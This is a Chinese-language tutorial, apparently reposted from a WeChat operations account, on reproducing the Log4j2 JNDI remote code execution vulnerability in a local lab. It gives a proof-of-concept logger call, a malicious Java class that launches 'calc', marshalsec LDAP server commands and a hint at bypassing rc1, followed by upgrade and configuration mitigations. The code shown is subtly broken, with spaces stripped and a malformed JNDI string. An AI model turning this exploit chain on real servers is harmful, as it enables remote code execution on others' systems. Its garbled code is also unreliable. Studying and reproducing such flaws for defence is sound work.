1. 簡(jiǎn)介
ApacheLog4j2是一個(gè)開(kāi)源的Java日志框架,被廣泛地應(yīng)用在中間件、開(kāi)發(fā)框架與Web應(yīng)用中。
2. 漏洞概述
該漏洞是由于Apache Log4j2某些功能存在遞歸解析功能,未經(jīng)身份驗(yàn)證的攻擊者通過(guò)發(fā)送特定惡意數(shù)據(jù)包,可在目標(biāo)服務(wù)器上執(zhí)行任意代碼。
3. 影響范圍
Apache Log4j 2.x <= 2.15.0-rc1
4. 環(huán)境搭建
1、創(chuàng)建一個(gè)新的maven項(xiàng)目,并導(dǎo)入Log4j的依賴包
org.apache.logging.log4j log4j-core 2.14.1
漏洞利用
1、使用POC測(cè)試
importorg.apache.logging.log4j.LogManager; importorg.apache.logging.log4j.Logger; classLogTest{ publicstaticfinalLoggerlogger=LogManager.getLogger(); publicstaticvoidmain(String[]args){ logger.error("${jndi//localhost:8888/Exploit}"); } }
2、編譯一惡意類Exploit.class
首先新建exp.java,然后編譯為class文件
classExploit{ static{ System.err.println("Pwned"); try{ Stringcmds="calc"; Runtime.getRuntime().exec(cmds); }catch(Exceptione){ e.printStackTrace(); } } }
javacexp.java
3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地開(kāi)啟一個(gè)LDAP服務(wù)
java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit"8888
4、運(yùn)行poc.java,即可訪問(wèn)惡意類并執(zhí)行寫在其中的"calc"命令
結(jié)合一些其它 StrLookup 適當(dāng)變形,以及配合官方測(cè)試用例中臟數(shù)據(jù)"?Type=A Type&Name=1100110&Char=!"可繞過(guò)rc1,RC2版本對(duì)此異常進(jìn)行了捕獲。
5. 修復(fù)方式
目前,Apache官方已發(fā)布新版本完成漏洞修復(fù),建議用戶盡快進(jìn)行自查,并及時(shí)升級(jí)至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 建議同時(shí)采用如下臨時(shí)措施進(jìn)行漏洞防范:
1)添加jvm啟動(dòng)參數(shù)-Dlog4j2.formatMsgNoLookups=true;
2)在應(yīng)用classpath下添加log4j2.component.properties配置文件,文件內(nèi)容為log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
4)部署使用第三方防火墻產(chǎn)品進(jìn)行安全防護(hù)。
-
JAVA
+關(guān)注
關(guān)注
19文章
2946瀏覽量
104362 -
漏洞
+關(guān)注
關(guān)注
0文章
203瀏覽量
15332
原文標(biāo)題:手把手教你復(fù)現(xiàn) Log4j2 漏洞
文章出處:【微信號(hào):magedu-Linux,微信公眾號(hào):馬哥Linux運(yùn)維】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論